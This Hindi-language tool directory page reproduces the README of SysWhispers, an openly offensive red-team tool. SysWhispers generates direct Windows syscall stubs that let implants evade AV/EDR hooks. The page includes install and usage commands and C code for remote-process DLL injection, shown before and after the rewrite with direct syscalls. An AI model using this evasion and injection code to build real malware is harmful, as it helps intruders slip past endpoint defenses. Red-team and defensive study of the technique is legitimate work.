Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
SysWhispers — AV/EDR evasion via direct system calls. | Kitploit
उपकरण/GitHubGitHub/jthuraisamy/syswhispers
शोषणआईडीएस/आईपीएस से बचनाशेलकोडपेनिट्रेशन टेस्टिंगरेड टीमिंगपेलोड डेवलपमेंट
GitHubjthuraisamy/syswhispers

SysWhispers

AV/EDR evasion via direct system calls.

रिपॉजिटरी देखें
2.0k2775 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

SysWhispers

SysWhispers हैडर/ASM फ़ाइलें उत्पन्न करके चोरी-छिपे (evasion) में मदद करता है, जिनका उपयोग इम्प्लांट सीधे सिस्टम कॉल करने के लिए कर सकते हैं।

सभी मुख्य सिस्कॉल्स (syscalls) Windows XP से Windows 10 19042 (20H2) तक समर्थित हैं। उदाहरण जनरेट की गई फ़ाइलें example-output/ फ़ोल्डर में उपलब्ध हैं।

परिचय

विभिन्न सुरक्षा उत्पाद यूज़र-मोड API में हुक लगाते हैं, जिससे वे निष्पादन प्रवाह को अपने इंजनों की ओर मोड़ सकते हैं और संदिग्ध व्यवहार का पता लगा सकते हैं। ntdll.dll में वे फ़ंक्शन जो सिस्कॉल्स करते हैं, उनमें कुछ ही असेंबली निर्देश होते हैं, इसलिए उन्हें अपने इम्प्लांट में पुनः लागू करके उन सुरक्षा उत्पाद हुक के ट्रिगर होने से बचा जा सकता है। इस तकनीक को @Cn33liz ने लोकप्रिय बनाया था और उनके ब्लॉग पोस्ट में पढ़ने लायक अधिक तकनीकी विवरण हैं।

SysWhispers रेड टीमर्स को मुख्य कर्नेल इमेज (ntoskrnl.exe) में किसी भी सिस्टम कॉल के लिए हैडर/ASM जोड़े उत्पन्न करने की क्षमता प्रदान करता है, जो XP से शुरू होने वाले किसी भी Windows संस्करण पर काम करता है। हैडर में आवश्यक प्रकार की परिभाषाएँ (type definitions) भी शामिल होंगी।

इस और Dumpert POC के बीच मुख्य कार्यान्वयन अंतर यह है कि यह OS संस्करण को पूछने के लिए RtlGetVersion को कॉल नहीं करता, बल्कि इसे असेंबली में PEB को सीधे क्वेरी करके करता है। लाभ यह है कि एक फ़ंक्शन को कॉल किया जा सकता है जो कई Windows संस्करणों का समर्थन करता है, बजाय कई फ़ंक्शनों को कॉल करने के जो प्रत्येक एक संस्करण का समर्थन करते हैं।

स्थापना

root@kitploit:~
> git clone https://github.com/jthuraisamy/SysWhispers.git
> cd SysWhispers
> pip3 install -r .\requirements.txt
> py .\syswhispers.py --help

उपयोग और उदाहरण

कमांड लाइनें

root@kitploit:~
# सभी समर्थित Windows संस्करणों के लिए सभी फ़ंक्शन निर्यात करें (उदाहरण आउटपुट/ देखें)।
py .\syswhispers.py --preset all -o syscalls_all

# सामान्य फ़ंक्शन Windows 7, 8 और 10 के लिए संगतता के साथ निर्यात करें।
py .\syswhispers.py --preset common -o syscalls_common

# सभी संस्करणों के लिए संगतता के साथ NtProtectVirtualMemory और NtWriteVirtualMemory निर्यात करें।
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem

# Windows 7, 8 और 10 के लिए संगतता के साथ सभी फ़ंक्शन निर्यात करें।
py .\syswhispers.py --versions 7,8,10 -o syscalls_78X

स्क्रिप्ट आउटपुट

root@kitploit:~
PS C:\Projects\SysWhispers> py .\syswhispers.py --preset common --out-file syscom

  ,         ,       ,_ /_   .  ,   ,_    _   ,_   ,
_/_)__(_/__/_)__/_/_/ / (__/__/_)__/_)__(/__/ (__/_)__
      _/_                         /
     (/                          /   @Jackson_T, 2019

SysWhispers: जब आप कर्नेल से फुसफुसा सकते हैं तो कॉल क्यों करें?

सामान्य फ़ंक्शन चुने गए।

पूर्ण! फ़ाइलें निम्नलिखित स्थान पर लिखी गईं:
        syscom.asm
        syscom.h

क्लासिक CreateRemoteThread DLL इंजेक्शन के पहले और बाद का उदाहरण

root@kitploit:~
py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
root@kitploit:~
#include <Windows.h>

void InjectDll(const HANDLE hProcess, const char* dllPath)
{
    LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
	
    WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
    CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
root@kitploit:~
#include <Windows.h>
#include "syscalls.h" // जनरेट किए गए हैडर को आयात करें।

void InjectDll(const HANDLE hProcess, const char* dllPath)
{
    HANDLE hThread = NULL;
    LPVOID lpAllocationStart = nullptr;
    SIZE_T szAllocationSize = strlen(dllPath);
    LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
	
    NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}

सामान्य फंक्शन्स

--preset common स्विच का उपयोग करने पर निम्नलिखित फ़ंक्शनों के साथ एक हैडर/ASM जोड़ी बनाई जाएगी:

फंक्शन सूची देखने के लिए क्लिक करें।
  • NtCreateProcess (CreateProcess)
  • NtCreateThreadEx (CreateRemoteThread)
  • NtOpenProcess (OpenProcess)
  • NtOpenThread (OpenThread)
  • NtSuspendProcess
  • NtSuspendThread (SuspendThread)
  • NtResumeProcess
  • NtResumeThread (ResumeThread)
  • NtGetContextThread (GetThreadContext)
  • NtSetContextThread (SetThreadContext)
  • NtClose (CloseHandle)
  • NtReadVirtualMemory (ReadProcessMemory)
  • NtWriteVirtualMemory (WriteProcessMemory)
  • NtAllocateVirtualMemory (VirtualAllocEx)
  • NtProtectVirtualMemory (VirtualProtectEx)
  • NtFreeVirtualMemory (VirtualFreeEx)
  • NtQuerySystemInformation (GetSystemInfo)
  • NtQueryDirectoryFile
  • NtQueryInformationFile
  • NtQueryInformationProcess
  • NtQueryInformationThread
  • NtCreateSection (CreateFileMapping)
  • NtOpenSection
  • NtMapViewOfSection
  • NtUnmapViewOfSection
  • NtAdjustPrivilegesToken (AdjustTokenPrivileges)
  • NtDeviceIoControlFile (DeviceIoControl)
  • NtQueueApcThread (QueueUserAPC)
  • NtWaitForMultipleObjects (WaitForMultipleObjectsEx)

Visual Studio में आयात करना

  1. जनरेट की गई H/ASM फ़ाइलों को प्रोजेक्ट फ़ोल्डर में कॉपी करें।
  2. Visual Studio में, Project → Build Customizations... पर जाएँ और MASM को सक्षम करें।
  3. Solution Explorer में, .h और .asm फ़ाइलों को क्रमशः हैडर और स्रोत फ़ाइलों के रूप में प्रोजेक्ट में जोड़ें।
  4. ASM फ़ाइल के गुणों पर जाएँ, और Item Type को Microsoft Macro Assembler पर सेट करें।
  5. सुनिश्चित करें कि प्रोजेक्ट प्लेटफ़ॉर्म x64 पर सेट है। इस समय 32-बिट प्रोजेक्ट समर्थित नहीं हैं।

सावधानियाँ और सीमाएँ

  • इस समय केवल 64-बिट Windows समर्थित है।
  • ग्राफ़िकल सबसिस्टम (win32k.sys) से सिस्टम कॉल समर्थित नहीं हैं।
  • Visual Studio 2019 (v142) और Windows 10 SDK पर परीक्षण किया गया।

समस्या निवारण

  • Python स्क्रिप्ट में ModuleNotFoundError।
    • सुनिश्चित करें कि pip3 install -r requirements.txt से आवश्यक मॉड्यूल स्थापित हैं।
  • प्रकार पुनर्परिभाषा त्रुटियाँ: यदि syscalls.h में typedefs पहले से परिभाषित हैं तो प्रोजेक्ट संकलित नहीं हो सकता।
    • सुनिश्चित करें कि केवल आवश्यक फ़ंक्शन शामिल किए गए हैं (अर्थात् --preset all शायद ही कभी आवश्यक होता है)।
    • यदि किसी अन्य उपयोग किए गए हैडर में कोई typedef पहले से परिभाषित है, तो उसे syscalls.h से हटाया जा सकता है।

श्रेय

यह स्क्रिप्ट @Jackson_T द्वारा विकसित की गई थी, लेकिन यह कई अन्य लोगों के काम पर आधारित है:

  • @j00ru ने मशीन-पठनीय प्रारूपों में सिस्कॉल नंबर बनाए रखने के लिए।
  • @FoxHex0ne ने मशीन-पठनीय प्रारूप में कई फ़ंक्शन प्रोटोटाइप और typedefs को सूचीबद्ध करने के लिए।
  • @PetrBenes, NTInternals.net टीम और MSDN ने अतिरिक्त प्रोटोटाइप और typedefs के लिए।
  • @Cn33liz ने प्रारंभिक Dumpert POC कार्यान्वयन के लिए।

विशेष धन्यवाद @Dcept905 को परीक्षण और सुझावों के लिए।

संबंधित लेख और परियोजनाएँ

  • @0x00dtm: यूज़रलैंड API निगरानी और कोड इंजेक्शन पहचान
  • @0x00dtm: यूज़रलैंड हुक को हराना (ft. Bitdefender) (कोड)
  • @Cn33liz: AV/EDR को बायपास करने के लिए डायरेक्ट सिस्टम कॉल और sRDI का संयोजन (कोड)
  • @mrgretzky: एंटीवायरस रीयल-टाइम सुरक्षा को अंदर से हराना
  • @SpecialHoang: EDR की मेमोरी सुरक्षा को बायपास करना, हुकिंग का परिचय (कोड)
  • @xpn और @domchell: Cylance को चुप कराना: आधुनिक EDR पर एक केस स्टडी
  • @mrjefftang: यूनिवर्सल अनहुकिंग: सुरक्षा सॉफ्टवेयर को अंधा करना (कोड)
  • @spotheplanet: C++ के साथ पूर्ण DLL अनहुकिंग
  • @hasherezade: Floki Bot और चालाक ड्रॉपर

लाइसेंस

यह प्रोजेक्ट Apache License 2.0 के अंतर्गत लाइसेंस प्राप्त है।

टूल डाउनलोड करें
  • @hodg87: नवीनतम Trickbot वेरिएंट में नई चालें हैं
  • @hodg87: जब डायरेक्ट सिस्टम कॉल का उपयोग किया जाता है तो मैलवेयर शमन